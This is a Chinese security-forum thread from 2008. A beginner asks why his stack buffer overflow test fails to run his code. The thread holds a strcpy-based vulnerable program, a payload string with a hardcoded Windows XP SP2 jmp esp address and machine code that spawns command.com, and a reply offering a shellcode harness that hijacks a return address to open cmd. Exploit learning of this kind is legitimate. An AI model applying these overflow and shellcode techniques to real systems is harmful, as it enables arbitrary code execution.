关于溢出执行代码失败的问题

hhero0773 2008-11-21 06:30:24
小弟刚学溢出不久,遇到一个问题:溢出后没有按照我的想法执行我的代码。请高手指点指点!!!我的代码如下:

一、获得需要执行的程序的机器码
#include"stdafx.h"
#include<windows.h>

int main()
{
LoadLibrary("msvcrt.dll");
system("command.com");
return 0;
}
获得机器码:"\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
"\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
"\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
"\x83\xC4\x04\x33\xC0"

二、溢出测试程序
#include"stdafx.h"
#include<stdio.h>
#include<string.h>

char name[] = "\x41\x41\x41\x41" //AAAA
"\x41\x41\x41\x41" //AAAA
"\x41\x41\x41\x41" //AAAA

"\x7f\xfa\x45\x12" //jmp esp(问题是不是在这个地方,我的系统是WindowsXP SP2)

//程序一的机器码
"\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
"\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
"\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
"\x83\xC4\x04\x33\xC0";


int main()
{
char output[8];
strcpy(output, name); //测试溢出

return 0;
}
...全文
57 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
sophy520eangel 2009-03-01
  • 打赏
  • 举报
回复
同时顶下#4

少用strcpy()
sophy520eangel 2009-03-01
  • 打赏
  • 举报
回复
或许LZ可以用下下面这段代码来测试下.....
#include "stdio.h"
unsigned char shellcode[] =
"\x8B\xEC\x33\xFF\x57"
"\xC6\x45\xFC\x63\xC6\x45"
"\xFD\x6D\xC6\x45\xFE\x64"
"\xC6\x45\xF8\x01\x8D"
"\x45\xFC\x50\xB8\xC7\x93"
"\xBF\x77\xFF\xD0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
再见品月 2009-02-18
  • 打赏
  • 举报
回复
嘻嘻。看不懂。。建议去C/C++区问
supercow 2009-02-18
  • 打赏
  • 举报
回复
难道你不知道字符串会被 \x00 截断么?

strcpy 换 memcpy 去试试. <-- 当然你实战的时候 不能这样...
John_Yang 2008-12-14
  • 打赏
  • 举报
回复
Mark一下,现在忙,回头若楼主还没解决,再来帮忙。
derek02 2008-11-22
  • 打赏
  • 举报
回复
up...
ssk148150105 2008-11-22
  • 打赏
  • 举报
回复
mark

9,506

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧